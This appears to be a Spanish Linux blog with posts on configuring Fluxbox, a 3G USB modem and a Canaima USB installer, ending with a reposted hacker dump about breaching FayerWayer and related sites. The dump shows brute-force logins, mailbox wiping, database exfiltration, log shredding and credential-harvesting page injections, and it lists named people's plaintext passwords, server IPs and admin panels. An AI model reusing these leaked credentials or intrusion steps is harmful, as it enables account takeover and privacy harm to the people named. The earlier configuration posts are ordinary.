  • fluxbox: Creo que es obvio ¿no? El gestor de ventanas
  • conky: Un monitor del sistema bien ligero y configurable
  • eterm: Un emulador de terminal ligero (usado en Enlightenment) o xterm para los más rudos
  • pcmanfm: Un explorador de archivos rápido y liviano. Para no explicar mucho diré que es un Nautilus a dieta xD. También podemos instalar thunar, el explorador de archivos de XFCE
  • gqview: Un visor de imágenes ligero. También podemos usar eog (el visor de imágenes de GNOME)
  • audacious: Un reproductor de música super liviano y parecido a Winamp (para los nostálgicos :'( )
  • wbar: Un dock que imita la famosa barra de Mac OS X. Útil para usarla como lanzador de aplicaciones

Nuevamente resalto que la selección de las aplicaciones se hizo en base a la premisa de "aplicaciones ligeras y de bajo consumo", sin embargo podemos instalar cualquier otra aplicación que nos guste: pidgin, inkscape, deluge, etc, etc, etc.

¡OJO! Si no tenemos instalado GNOME necesitaremos instalar unos paquetes adicionales; pero seré sincero... NO he hecho la prueba desde una instalación sin GNOME. Me imagino que instalando los paquetes (y sus dependencias) es más que suficiente pero no puedo asegurar. Si no funciona así, griten y yo intentaré probar para actualizar el post con el procedimiento correcto (o si prueban ustedes y me dicen, mejor xD). Entonces, si no tenemos problemas de espacio en el disco recomiendo instalar:

# aptitude install gnome-desktop-environment

O si son más aventureros y desean experimentar, solo instalamos:

# aptitude install gnome-power-manager gnome-settings-daemon network-manager

Bueno, vamos ahora con la parte divertida.

Configuremos Conky

Conky como dije anteriormente es un monitor de sistema muy liviano. Allí podemos monitorear cientos de parametros de nuestro equipo y se ve bastante bien con Fluxbox :)

Lo primero que debemos hacer es habilitar el soporte de la extensión Double Buffer (DBE) del servidor X para evitar el parpadeo, ya que sin ésta no logrará actualizar la pantalla con suficiente rapidez. Para ello, vamos al archivo /etc/X11/xorg.conf y agregamos una línea con Load "dbe" en la sección Section "Module". Debería verse algo así:

Section "Module"
    Load           "dbe"
    Load           "extmod"
    Load           "type1"
    Load           "freetype"
    Load           "glx"
EndSection

Luego copiamos el archivo de configuración de ejemplo que viene con el Conky a nuestra carpeta personal:

$ cp /etc/conky/conkyrc.conf ~/.conkyrc

y lo abrimos con nuestro editor de texto favorito. Se darán cuenta que el archivo está dividido en dos partes. La primera contiene las opciones de configuración del programa (alteran su comportamiento). La segunda define las variables, el texto, y los gráficos que se mostrarán en pantalla.

La cantidad de variables y opciones que se pueden manejar son muchísimas, así que dejo la lista completa de opciones para configuración y de variables a monitorear. Si eso no es suficiente, aquí pueden ver unos cuantos screenshots con sus respectivos archivos de configuración para que echen a volar su imaginación y además les dejo mi archivo de configuración (hoy me siento benevolénte :P)

# Conky, a system monitor, based on torsmo
#

alignment top_right
background no
border_width 1
cpu_avg_samples 2
default_color white
default_outline_color white
default_shade_color white
draw_borders no
draw_graph_borders yes
draw_outline no
draw_shades no
use_xft yes
xftfont DejaVu Sans Mono:size=10
gap_x 5
gap_y 60
minimum_size 5 5
maximum_width 200
net_avg_samples 2
no_buffers yes
out_to_console no
out_to_stderr no
own_window no
own_window_class Conky
own_window_type desktop
stippled_borders 0
update_interval 1.0
uppercase no
use_spacer none
show_graph_scale no
show_graph_range no

TEXT
$nodename # $sysname $kernel on $machine
$hr
${color slate grey}${time %a, }${color }${time %d %b %G}
${color grey}Uptime:$color $uptime_short
${color slate grey}Kernel: $kernel
${color black}CPU:
$color ${cpu cpu0}% ${cpubar cpu0 4}
$color ${cpu cpu1}% ${cpubar cpu1 4}

${color grey}RAM:$color $mem / $memmax
$color ${memperc}% ${membar 4}
${color grey}Swap:$color $swap / $swapmax
$color ${swapperc}% ${swapbar 4}

${color grey}Processes:$color $processes  ${color grey}Running:$color $running_processes
$hr
${color grey}File systems:
 / $color${fs_used /}/${fs_size /} 
${fs_bar 6 /}
${color grey}Networking:
Up:$color ${upspeed eth0} ${color grey} - Down:$color ${downspeed eth0}
$hr
#${color grey}Name              PID   CPU%   MEM%
#${color lightgrey} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
#${color lightgrey} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
#${color lightgrey} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
#${color lightgrey} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}

Configuremos Wbar

Wbar es un lanzador de aplicaciones que emula algunas características de la barra de Mac OS X. Es altamente configurable y la más decente que he visto hasta ahora... ¡Toma eso Gnome-Do!

Al igual que Conky trae un archivo de configuración de ejemplo y solo debemos copiarlo a nuestra carpeta personal con el nombre .wbar:

$ cp /usr/share/wbar/dot.wbar ~/.wbar

El archivo define cada uno de los lanzadores de la barra tiene el siguiente formato:

i: /ruta/del/icono
c: comando_a_ejecutar
t: Título del lanzador


La primera entrada corresponde a la imagen de fondo de la barra y no debe llevar comando.

Recomiendo hacer una selección de los iconos que desea para cada lanzador y colocarlos en una carpeta. A continuación imprimo mi archivo de configuración de lanzadores (en mi caso hice la selección de los iconos y los coloque en una carpeta llamada personal en /usr/share/wbar/iconpack/:

i: /usr/share/wbar/iconpack/wbar.osx/osxbarback.png
c:
t: /usr/share/wbar/iconpack/wbar.osx/font/16

i: /usr/share/wbar/iconpack/personal/gnome-fs-home.png
c: pcmanfm
t: Explorador de archivos

i: /usr/share/wbar/iconpack/personal/mozicon50.xpm
c: firefox
t: Firefox

i: /usr/share/wbar/iconpack/personal/gnome-terminal.png
c: xterm
t: Terminal

i: /usr/share/wbar/iconpack/personal/pidgin-menu.xpm
c: pidgin
t: Pidgin

i: /usr/share/wbar/iconpack/personal/text-editor.png
c: gedit
t: Gedit

i: /usr/share/wbar/iconpack/personal/audacious-32.xpm
c: audacious
t: Audacious

i: /usr/share/wbar/iconpack/personal/xchat.png
c: xchat
t: XChat

La otra parte interesante del wbar son los argumentos que se le pasan al momento de ejecutarlo. A continuación la lista de opciones:

Opciones
 -config: ruta del archivo de configuración (ej: $HOME/.wbar)
 -above-desk: para ejecutarlo encima del escritorio
 -idist i: distancia entre los iconos (ej: 1)
 -isize i: tamaño de los iconos (ej: 32)
 -zoomf i: factor de zoom (ej: 1.8)
 -jumpf i: factor de salto (1.0 - 0.0)
 -pos|p: posición (top | bottom | left | right | center)
 -dblclk i: milisegundos para el double click (0: un solo clic)
 -bpress: los iconos parecen presionados al darle clic
 -vbar: barra vertical
 -balfa i: transparencia de la barra (0-100)
 -falfa i: transparencia de la barra cuando no tiene foco (0-100)
 -nofont: deshabilita el dibujado de las fuentes

Los argumentos que le paso al wbar los pueden ver en el archivo startup de Fluxbox un poco más abajo.

Configuremos Fluxbox

~/.fluxbox/init

Este archivo maneja la configuración general de Fluxbox. Podemos definir la posición, el ancho y los elementos que deseamos en la barra de tareas. El archivo es extenso y con muchas opciones, así que mostraré un pedazo de mi archivo con las opciones más relevantes. Para información más detallada ...

session.screen0.toolbar.alpha: 255                    # Transparencia de la barra de herramientas
session.screen0.toolbar.widthPercent: 100             # Ancho de la barra
session.screen0.toolbar.visible: true                 # Mostrar la barra de tareas
session.screen0.toolbar.tools: prevworkspace, workspacename, nextworkspace, iconbar, systemtray, clock  # Herramientas que deseamos motrar (y el orden en que aparecerán)
session.screen0.toolbar.placement: BottomCenter       # Posición de la barra
session.screen0.toolbar.autoHide: false               # Ocultar automaticamente
session.screen0.workspacewarping: true                # Cambiar una ventana de escritorio al moverla hacie los extremos laterales
session.screen0.workspaces: 4                         # Cantidad de escritorios
session.screen0.strftimeFormat: %d %b, %a %02k:%M:%S  # Formato de la hora del reloj
session.screen0.workspaceNames: Workspace 1,Workspace 2,Workspace 3,Workspace 4,  # Nombre de cada escritorio

# Ejecutar el wbar con un delay de 5 seg para esperar que carguen todos los demás programas
session.screen0.rootCommand: sleep 5 && wbar -pos left -above-desk -vbar -jumpf 0.0 -zoomf 1.5 -idist 1 -bpress -config $HOME/.wbar

El orden en que se definan las herramientas será el orden que tengan en la barra. Las posibles herramientas son: workspacename, prevworkspace, nextworkspace, iconbar, systemtray, prevwindow, nextwindow y clock

~/.fluxbox/startup

Aquí definimos que aplicaciones se ejecutan al inicio del sistema. Mostraré mi archivo y comentaré cada opción.

#!/bin/sh
#
# fluxbox startup-script:
#
# Lines starting with a '#' are ignored.

# Change your keymap:
xmodmap "/home/satanas/.Xmodmap"

# Applications you want to run with fluxbox.
# MAKE SURE THAT APPS THAT KEEP RUNNING HAVE AN ''&'' AT THE END.

conky -d -b &
nm-applet --sm-disable &
gnome-power-manager --sm-disable &
gnome-settings-daemon &

# And last but not least we start fluxbox.
# Because it is the last app you have to run it with ''exec'' before it.

exec fluxbox
# or if you want to keep a log:
# exec fluxbox -log "/home/satanas/.fluxbox/log"


conky -d -b: El monitor del sistema ejecutado con double buffer y en segundo plano
nm-applet: El Network Manager de GNOME que nos permite manejar nuestras redes
gnome-power-manager: El applet de GNOME que entre otas funciones nos muestra el estado de la batería
gnome-settings-daemon: El demonio de configuración de GNOME. Esto es para que podamos ver los iconos y el tema de GNOME sin problemas (necesario para pcmanfm)
wbar: La famosa barrita para lanzar aplicaciones ;)

~/.fluxbox/keys

En este archivo configuramos las combinaciones de teclas (atajos de teclado) de nuestro entorno de escritorio. Fluxbox denomina a la tecla Alt como Mod1 y a la innombrable (la tecla Super o Win) como Mod4. La sintaxis del archivo es:

[teclas]: [acción] [parámetros]

Una lista completa de posibles acciones podemos verla en http://fluxbox.sourceforge.net/docbook/en/html/x359.html

Algunos atajos útiles serían:

  • Cambiar de ventana con Alt + Tab
    Mod1 Tab :NextWindow
  • Cambiar al escritorio 1 con Ctrl + F1 (se debe repetir para cada escritorio que tengamos)
    Control F1 :Workspace 1
  • Abrir un terminal con Alt + F1
    Mod1 F1 :Exec eterm
  • Abrir un diálogo de "Ejecutar" con Alt + F2
    Mod1 F2 :Exec fbrun

Resultado


Un agradable y eficiente escritorio como el que se ve en las fotos :)





Un último tip es habilitar el plugin StatusIcon de Audacious (tal como se ve en la imagen de abajo) para que podamos minimizarlo a la bandeja de sistema (haciendo clic en el icono).


¡Uff! con tanto configurar y escribir ya me dió sueño, así que me voy. Hasta la próxima

Otras referencias:
[1] http://www.gentoo.org/doc/es/fluxbox-config.xml
[2] http://fluxbox.sourceforge.net/docbook/en/html/chap-toolbar.html
[3] http://debianitas.net/doc/minicomos/Todo%20Sobre%20FLUXBOX/html/fluxbox.html
[4] http://www.estrellateyarde.es/so/fluxbox


BAM 3G Digitel en Debian

sábado, agosto 15, 2009

Hoy por fin tuve la oportunidad de jugar con un aparitico USB de Digitel; de esos que llaman Banda Ancha Móvil (un Huawei E160 para ser exáctos) y decidí configurarlo para conectarme desde Debian.

Anteriormente había tenido la oportunidad de configurar unas tarjetas Kiocera y unos CDU-680 de Movilnet, así que imaginé que no debía ser muy diferente, o sea una conexión ppp, unos parámetros de usuario, un número telefónico para marcar, bla, bla, bla y listo! internet parejo.

Sin embargo la cuestión es un tanto diferente respecto a los mencionados arriba, así que me tocó investigar y googlear un buen rato. Todas las soluciones que encontré lo configuraban usando wvdial, pero como soy terco quería hacerlo con ppp así que tuve que leer un poco sobre los chatscripts y hacer unas cuantas pruebas, hasta que dí con ésta solución.

Lo primero es conectar el dispositivo y ejecutar como root el comando dmesg. Deberíamos ver algo como:

USB Serial support registered for GSM modem (1-port)
option 1-5:1.0: GSM modem (1-port) converter detected
usb 1-5: GSM modem (1-port) converter now attached to ttyUSB0
option 1-5:1.1: GSM modem (1-port) converter detected
usb 1-5: GSM modem (1-port) converter now attached to ttyUSB1
usbcore: registered new interface driver option
option: v0.7.2:USB Driver for GSM modems

Ese mensaje nos indica que el dispositivo fue reconocido correctamente y está bajo el puerto ttyUSB0.

Ahora instalamos el pppconfig:
# aptitude install pppconfig
Posteriormente ejecutamos el pppconfig como root y creamos una conexión nueva. Para ello debemos completar el asistente con los siguientes parámetros:

Nombre del proveedor: conexion (aquí ponemos el nombre que queremos darle a la conexión)
DNS: Dinámico
Método de autenticación: CHAP
Nombre de usuario: digitel
Contraseña: 0000
Método de marcado: Tone
Número a marcar: *99#
Detectar automáticamente el modem: No
Puerto del modem: /dev/ttyUSB0

Guardamos y salimos del asistente.

Ahora la parte divertida (y la que me tomó tiempo en descifrar) es configurar el script de chat de la conexión que acabamos de crear para que funcione correctamente. Lo que tenemos que hacer es abrir (como root) el archivo /etc/chatscripts/conexion con nuestro editor favorito y en la sección # modem init colocar esto:

'' ATZ
'' ATZ+CPIN="0000"
OK 'ATQ0 V1 E1 +FCLASS=0'
OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'

Un chatscript es una secuencia de pares "cadena esperada" "cadena enviada", es decir, siempre esperas algo antes de enviar algo.

Si queremos enviar algo sin esperar nada debemos usar una cadena vacía al inicio (indicada por '') y de la misma manera si queremos esperar algo sin enviar nada. Es necesario saber que si queremos esperar/enviar una cadena conformada por varias palabras, debemos encerrarla entre comillas para que sea una sola entidad para el script.

Dicho esto, procedo a explicar el script de chat que he creado para la conexión digitel. Primero inicializamos el modem. Observen que no esperamos nada del modem y enviamos la cadena ATZ:

'' ATZ
Luego enviamos el PIN de la SIM Card (si lo han conectado desde Windows se habrán dado cuenta que el software que trae el dispositivo pide el código PIN al momento de iniciar la conexión):

'' ATZ+CPIN="0000"
Ahora enviamos una trama de autenticación (aún no tengo muy clara su función) esperando un OK de la fase anterior pero entre comillas porque tiene varias palabras:

OK 'ATQ0 V1 E1 +FCLASS=0'
Y por último enviamos la información del servidor DNS:

OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'
y voilá! El archivo /etc/chatscripts/conexion debería quedar algo así:

# This chatfile was generated by pppconfig 2.3.18.
# Please do not delete any of the comments. Pppconfig needs them.
#
# ispauth CHAP
# abortstring
ABORT BUSY ABORT 'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT 'NO DIAL TO$
# modeminit
'' ATZ
'' ATZ+CPIN="0000"
OK 'ATQ0 V1 E1 +FCLASS=0'
OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'
# ispnumber
OK-AT-OK "ATDT*99#"
# ispconnect
CONNECT \d\c
# prelogin

# ispname
# isppassword

Ahora vamos a probar la conexión. En un terminal ejecutaremos el siguiente comando para monitorear el progreso de la conexión:

# tail -f /var/log/messages
y en otro terminal escribiremos:

# pon conexion
El script se ejecutará, enviará las tramas que hemos especificado en la inicialización del modem y marcará el número que indicamos en la configuración de la conexión ppp para luego asignarnos una IP. Si vemos en el log la palabra Failed o Exit es porque la conexión no se realizó con éxito y debemos ejecutar nuevamente el comando pon conexion como root. El terminal ejecutando el tail de /var/log/messages mostrará el progreso de la conexión, algo como:

Aug 15 21:04:33 belzebu pppd[3615]: pppd 2.4.4 started by root, uid 0
Aug 15 21:04:34 belzebu chat[3617]: abort on (BUSY)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO CARRIER)
Aug 15 21:04:34 belzebu chat[3617]: abort on (VOICE)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO DIALTONE)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO DIAL TONE)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO ANSWER)
Aug 15 21:04:34 belzebu chat[3617]: abort on (DELAYED)
Aug 15 21:04:34 belzebu chat[3617]: send (ATZ^M)
Aug 15 21:04:34 belzebu chat[3617]: send (ATZ+CPIN="0000"^M)
Aug 15 21:04:34 belzebu chat[3617]: expect (OK)
Aug 15 21:04:34 belzebu chat[3617]: ATZ^M^M
Aug 15 21:04:34 belzebu chat[3617]: OK
Aug 15 21:04:34 belzebu chat[3617]: -- got it
Aug 15 21:04:34 belzebu chat[3617]: send (ATQ0 V1 E1 +FCLASS=0^M)
Aug 15 21:04:34 belzebu chat[3617]: expect (OK)
Aug 15 21:04:34 belzebu chat[3617]: ^M
Aug 15 21:04:34 belzebu chat[3617]: ATZ+CPIN="0000"^M^M
Aug 15 21:04:34 belzebu chat[3617]: ERROR^M
Aug 15 21:04:34 belzebu chat[3617]: ATQ0 V1 E1 +FCLASS=0^M^M
Aug 15 21:04:34 belzebu chat[3617]: OK
Aug 15 21:04:34 belzebu chat[3617]: -- got it
Aug 15 21:04:34 belzebu chat[3617]: send (AT+CGDCONT=1,"IP","gprsweb.digitel.ve"^M)
Aug 15 21:04:35 belzebu chat[3617]: expect (OK)
Aug 15 21:04:35 belzebu chat[3617]: ^M
Aug 15 21:04:35 belzebu chat[3617]: AT+CGDCONT=1,"IP","gprsweb.digitel.ve"^M^M
Aug 15 21:04:35 belzebu chat[3617]: OK
Aug 15 21:04:35 belzebu chat[3617]: -- got it
Aug 15 21:04:35 belzebu chat[3617]: send (ATDT*99#^M)
Aug 15 21:04:35 belzebu chat[3617]: expect (CONNECT)
Aug 15 21:04:35 belzebu chat[3617]: ^M
Aug 15 21:04:35 belzebu chat[3617]: ATDT*99#^M^M
Aug 15 21:04:35 belzebu chat[3617]: CONNECT
Aug 15 21:04:35 belzebu chat[3617]: -- got it
Aug 15 21:04:35 belzebu chat[3617]: send (\d)
Aug 15 21:04:36 belzebu pppd[3615]: Serial connection established.
Aug 15 21:04:36 belzebu pppd[3615]: Using interface ppp0
Aug 15 21:04:36 belzebu pppd[3615]: Connect: ppp0 <--> /dev/ttyUSB0
Aug 15 21:04:37 belzebu pppd[3615]: CHAP authentication succeeded
Aug 15 21:04:37 belzebu pppd[3615]: CHAP authentication succeeded
Aug 15 21:04:37 belzebu kernel: [ 1953.295830] PPP BSD Compression module registered
Aug 15 21:04:37 belzebu kernel: [ 1953.314554] PPP Deflate Compression module registered
Aug 15 21:04:39 belzebu pppd[3615]: Could not determine remote IP address: defaulting to 10.64.64.64
Aug 15 21:04:39 belzebu pppd[3615]: local IP address 10.68.174.162
Aug 15 21:04:39 belzebu pppd[3615]: remote IP address 10.64.64.64
Aug 15 21:04:39 belzebu pppd[3615]: primary DNS address 204.59.152.208
Aug 15 21:04:39 belzebu pppd[3615]: secondary DNS address 57.73.127.195

Para finalizar la conexión y retirar el modem basta con ejecutar como root:

# poff conexion
y esperar que se apague el led del aparato.

Es todo, ahí tenemos nuestra flamante conexión de banda ancha desde Debian :) Cualquier otra información útil o sugerencia es bienvenida.

Cambio y fuera

Instalador USB para GNU/Linux Canaima

viernes, julio 17, 2009

En esta receta explicaré como crear un instalador USB (es decir un pendrive USB booteable) para Canaima pero que con unos toques técnicos puede servir para cualquier distro.

Canaima pesa 1.3GB y por los momentos no dispone de un set de varios CDs de instalación (como Debian por ejemplo) sino únicamente en DVD. Algunos equipos todavía no cuentan con unidades lectoras de DVD, lo que hace imposible instalar Canaima desde un DVD. Pensando en esta limitante, los amigos del CNTI publicaron la imagen de un instalador USB que de ahora en adelante nos permitirá realizar la instalación de Canaima sin problemas.

Primero necesitamos satisfacer algunos requsitos:

Dependencias

# aptitude update
# aptitude install syslinux mtools mbr


Instalador USB
Descargamos la imagen del instalador USB de la página oficial de Canaima.

Pendrive USB
Ubicamos un pendrive (de al menos 2GB) sobre el cual queramos crear el instalador. Es importante resaltar que este procedimiento borrará TODOS los archivos contenidos en el pendrive, así que respalden y no lloren :P

Cumplidos los requisitos empezamos la parte divertida.

Primero conectamos el pendrive a la PC y ubicamos en que dispositivo quedó montado. Podemos conocer esa información con el comando:

# tail /var/log/messages

o también con el comando:

$ mount

Actualización 10/09/2009: Usando el comando siguiente también podemos ubicar el dispositivo donde quedó montado el pendrive (Gracias a Carlos Guerrero por el aporte).

$ fdisk -l

En mi caso quedó en /dev/sdb1.

Particularmente me gusta reparticionar el dispositivo usando fdisk, con una sola partición FAT16 y activando el flag de booteo, pero es un procedimiento opcional (y que lo dejó como tarea para el lector).

Formateamos la partición:

# mkfs.vfat -n CanaimaUSB /dev/sdb1

Instalamos el MBR:

# install-mbr /dev/sdb

Instalamos el gestor de arranque syslinux (si devuelve un error al instalar, podemos ejecutarlo con los parámetros -sf):

# syslinux /dev/sdb1

Por último montamos el pendrive nuevamente (en algunos entornos de escritorio basta con desconectar y conectar de nuevo el pendrive), nos ubicamos en la carpeta donde descargamos el instalador USB de Canaima y descomprimimos su contenido en el pendrive:

$ tar -xvzf canaima_vivo_usb_i386.tar.gz -C /media/CanaimaUSB

Al terminar esta operación tendremos un pendrive listo para instalar Canaima en cualquier equipo capaz de bootear por USB.

Nota: Para aquellos amigos que aún no tengan instalado GNU/Linux en su PC pueden descargar un liveCD de alguna distro conocida basada en Debian (Elive, Knoppix, Ubuntu, Damn Small Linux, etc) y desde allí seguir los pasos anteriores con total normalidad. (Gracias a Ángel Pérez por la sugerencia)

Noche de hackers... FayerWayer Owned (F4Y3RW4Y3R PWN3D)

sábado, julio 11, 2009

Esta madrugada, cerca de la media noche, mientras leía la imagen que había publicado Anti-sec en los servidores de Imageshack me dispuse a revisar el RSS de FayerWayer a ver si encontraba alguna noticia interesante y mi sorpresa es que me consigo con la siguiente noticia: "F4Y3RW4Y3R PWN3D" y cuando la abro nada más y nada menos que esto (no tiene desperdicio):

|||||||||||||||||||||||||||||||||||||||||||||||||||||
[================== 1ns3c gr0up ====================]
[------- t1nky_w1nky - d1psy - l44_l44 - p0 -------]
___________ .___.____ __
\_ _____/ _ \ | | | ________ _____/ |______
| __)/ /_\ \| | | \___ // __ \ __\__ \
| \/ | \ | |___ / /\ ___/| | / __ \_
\___ /\____|__ /___|_______ \/_____ \\___ >__| (____ /
\/ \/ \/ \/ \/ \/

[======================| 0wn3d |=====================]
||||||||||||||||||||||||||||||||||||||||||||||||||||||

/*
* BetaFail (aka BetaZeta aka LoserZeta aka BetaWeeta -- thnx chilean dudes ^^)
* is a loser-blogger-network which claims to be experts on technology... so lets see!
*/


]====== 0x00 ======[ Index

[=-0x01-=] Affected domains
[=-0x02-=] Vulnerabilities
[=-0x03-=] Intrussion
[=-0x04-=] Data requesting
[=-0x05-=] Exposure
[=-0x06-=] Extras

-------------------------------------------------------------------------------

]====== 0x01 =======[ Affected Domains
+ The affected domains are:
|- http://www.betazeta.com
|- http://www.fayerwayer.com
|- http://www.theclinic.cl
|- http://www.saborizante.cl
|- http://leo.prieto.cl
|- http://www.betaid.org
|- http://www.wayerless.com
|- http://www.niubie.com
|- http://www.botonturbo.com
|- http://www.tecnosquad.com
|- http://www.chw.net
|- http://www.zetacorp.net
|- http://www.zimio.com
|- http://www.i2b.cl
|_/
-
-------------------------------------------------------------------------------
]====== 0x02 ======[ Vulnerabilities
/*
* So you can ask yourself, how can this be? Easy: if you set a weak
* password you have a weak security, if you store all your accounts in your mail
* you hace a weak security.
* -> JF aka JF10 aka Juan Francisco Diez has a 9 int long password, easy enought to
* been brute forced.
* -> Leo aka Leo Prieto has a 5 char + 3 int password (dictionary password).
* And so on... these dudes really don't know shit about security and lucky for us
* theirs servers were totally open for us (open legs?).
*/

-------------------------------------------------------------------------------
]====== 0x03 ======[ Intrussion
/* Hey ho, lets GO! */


(=| proof-of-concept |=)
/* First get get the silliest password ever from our very best friend JF on any of
* the services he uses: twitter, wordpress, etc.. (yes... really silly but he uses
* the same password for everything!):
*/

[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user=jf10 http://www.fayerwayer.com/wp-login.php
|===== expl0iting www.fayerwayer.com ====|
................................................................................
................................................................................
....................... FOUND! (2020229)
[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user='leo prieto' http://www.fayerwayer.com/wp-login.php
|===== expl0iting www.fayerwayer.com ====|
................................................................................
................................................................................
................................................................................
.................................................. FOUND! (macoy123)
[1nf3ct3d@darkside:~]$

/* Done. Now, search a prompt: */

[1nf3ct3d@darkside:~]$ telnet fayerwayer.com 37337
Trying 174.132.120.218...
Connected to fayerwayer.com.
Escape character is '^]'.
bash$

/* Now we can try with anything... say... gmail: */

[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user jf10 -pass 2020229 http://mail.google.com/a/betazeta.com
Logged in.
Deleting
[================================================================================================] 100%
Changing user password ... OK
New password is: HuJucF53

/* Heh! Now lets play with Leo Prieto's stuff (again... same password almost
* for everything) */

[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user leo -pass macoy123 http://mail.google.com/a/betazeta.com
Logged in.
Deleting
[================================================================================================] 100%
Changing user password ... OK
New password is: 4Gh4Fhb
[1nf3ct3d@darkside:~]$


-------------------------------------------------------------------------------
]====== 0x04 ======[ Data requesting
/* Wordpress has been infected ... now waiting for our data */

[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/12/sheet.jpg -o /dev/null
[1nf3ct3d@darkside:~]$ tail sheet.jpg
user: pass:
user: pass:
user: mr_self-destruct pass: ********
user: march3lo pass: marcel
user: mr_self-destruct pass: ********
user: mr_self-destruct pass: ********
user: sir_lestat pass: ********
user: asdsadfsadf pass: ********
user: Chok pass: ********
user: successor pass: ********
/* Amazing .... */
[1nf3ct3d@darkside:~]$ wc -l sheet.jpg
682 sheet.jpg
[1nf3ct3d@darkside:~]$ wget http://www.botonturbo.com/wp-content/uploads/2007/11/sheet.jpg -o /dev/null -O sheet2.jpg
[1nf3ct3d@darkside:~]$

/* Awesome! For each domain we repeat */


[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org
Password:
betaid@betaid.org:~$ ls
app_error.php app_model.php config controllers htaccess.template httpdocs index.php locale models plugins tests tmp vendors views webroot
betaid@betaid.org:~$ cd config
betaid@betaid.org:~/config$ ls
acl.ini.php betaid.php bootstrap.php chile.sql core.php database.php entelpcs.php inflections.php openid.php routes.php sql
betaid@betaid.org:~$ grep -v \* database.php
class DATABASE_CONFIG {

var $default = array(
'driver' => 'mysql',
'persistent' => false,
'host' => 'localhost',
'login' => 'betaman', /* look at this! */
'password' => '********',
'database' => 'betaid_main',
'encoding'=> 'UTF8',
'prefix' => '',
);

var $test = array(
'driver' => 'mysql',
'persistent' => false,
'host' => 'localhost',
'login' => 'user',
'password' => '********',
'database' => 'test_database_name',
'prefix' => '',
);
}
betaid@betaid.org:~$
/* OMFG! Is a DB_delete_all_my_content password? */

betaid@betaid.org:~$ mysqldump -ubetaman -pbetapass betaid_main >../httpdocs/betaz.sql
betaid@betaid.org:~$ exit
[1nf3ct3d@darkside:~]$ wget http://www.betaid.org/betaz.sql -o /dev/null
[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org "rm -rf httpdocs/betaz.sql && shred .bash_history"
Password:
[1nf3ct3d@darkside:~]$

/* Its time to infect betaid to obtain all data!. We modify controller/auth_controller.php and pump it up */

[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -o /dev/null
[1nf3ct3d@darkside:~]$ wc -l audi-a3.jpg
262 audi-a3.jpg
[1nf3ct3d@darkside:~]$ tail -5 audi-a3.jpg
user: zector pass: ********
user: chokolat pass: ********
user: andru pass: ********
user: angrod pass: ********
user: elmono pass: ********
[1nf3ct3d@darkside:~]$ perl http-delete.pl http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -u admin
admin's pwd:
1 file(s) deleted.
[1nf3ct3d@darkside:~]$

-------------------------------------------------------------------------------
]====== 0x05 ======[ Exposure
/* All that you want to see! THE DATA! */
/* Anyone want to twit? */
twitter.com:fayerwayer:f4y3rw4y3rdoesthisshit4realz
vimeo.com:fw@fayerwayer.com:gatoinalambrico

ZeroZen:
mail.google.com/a/zetacorp.net:zerozen:rtr944a5
gmail.com:zeroblogger:rtr944a5
www.google.com/a/betazeta.com:zerozen:rtr944a4

Mail:Pass
jf@betazeta.com:********
leo@betazeta.com:********

http://wayerless.com
user:sebastian pass: ********
user:rodrigo pass: ********
user:juaqion pass: ********
user: rodrigo pass: ********
user: admin pass: ********
user: frajola pass: ********

FayerWayer:
user: rodrigo pass: ********
user: admin pass:********
user: frajola pass:********
user: JF10 pass:********
user: sebastian pass:********
user: carlos pass:********
user: Amenadiel pass:********
user: hugo pass:********
user: admin pass:********
user: i2b pass:********
user: diego pass:********
user: leo prieto pass:********
user: diego pass:********
user: Diego pass:********
user: diego pass:********
user: ZeroZen pass:********
user: carlos pass:********
user: Ultraviolet pass:********
user: FelipeLang pass:********
user: Ultraviolet pass:********
user: eft0 pass:********
user: eft0@zetacorp pass:********

DB user fayerwayer
DB pass MysqlFayerwayer80

user: mr.chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: Boxbyte pass:********
user: admin pass:********
user: leoprieto@gmail.com pass: ********

URL: http://69.89.21.73:2082/frontend/bluehost/index.html
user: itwobcl
pass: ********

FTP
IP: 69.89.21.73
User: itwobcl
Pass: ********
---
Jabber
User: esteban@hs.i2b.cl
Pass: ********

Mail
SMTP: smtp.i2b.cl
Port: 587
POP: pop.i2b.cl
Port: 110
User and account: esteban.fernandez@i2b.cl
Pass: ********
---
Customer #: 18766006
Simple Control Panel
URL: https://72.167.52.30:9999
User: zetacorp
Pass: ********

phpmyadmin
URL: http://72.167.52.30/phpMyAdmin
User: root
Pass: ********

SSH
IP: 72.167.52.30
User: zetacorp
Pass: ********

Admin WP
http://www.fayerwayer.com/wp-admin

User: admin
Pass: ********

Admin Limesurvey
http://www.fayerwayer.com/limesurvey/admin
User: admin
Pass: ********

MySQL
User: root
Pass: ********

Backup
IP: 208.109.188.17
User: zetacorp
Pass: ********

PIX
https://72.167.52.79/
User: zetacorp
Pass: ********

ftp FW
Host: fayerwayer.i2b.cl
User: fayerwayer
Pass: ********

i2b
URL: www.bluehost.com
User: i2b.cl
Pass: ********

FTP ablog.i2b.cl
Host: 69.89.21.73
User: itwobcl
Pass: ********
